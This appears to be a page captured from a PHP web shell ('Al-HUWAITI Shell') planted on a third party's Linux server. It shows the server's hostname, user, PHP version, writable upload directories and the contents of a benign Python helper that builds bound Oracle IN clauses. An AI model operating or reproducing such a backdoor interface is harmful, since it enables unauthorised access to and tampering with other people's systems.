Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux dedi-14684855.grupobig.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : grupo692 ( 1004)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /opt/dash_backend_new/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/dash_backend_new/app/sql_utils.py
# app/sql_utils.py
from typing import List, Dict, Tuple


def build_in_clause(
    field_name: str,
    values: List[int],
    prefix: str = "u",
) -> Tuple[str, Dict[str, int]]:
    """
    Gera cláusula IN segura para Oracle com binds.

    Exemplo:
        field_name = "COD_UNIDADE"
        values = [2, 3, 4]

    Retorna:
        ("COD_UNIDADE IN (:u0, :u1, :u2)",
         {"u0": 2, "u1": 3, "u2": 4})
    """

    if not values:
        raise ValueError("Lista de valores vazia para cláusula IN.")

    params = {}
    placeholders = []

    for idx, value in enumerate(values):
        key = f"{prefix}{idx}"
        placeholders.append(f":{key}")
        params[key] = value

    clause = f"{field_name} IN ({', '.join(placeholders)})"

    return clause, params

Al-HUWAITI Shell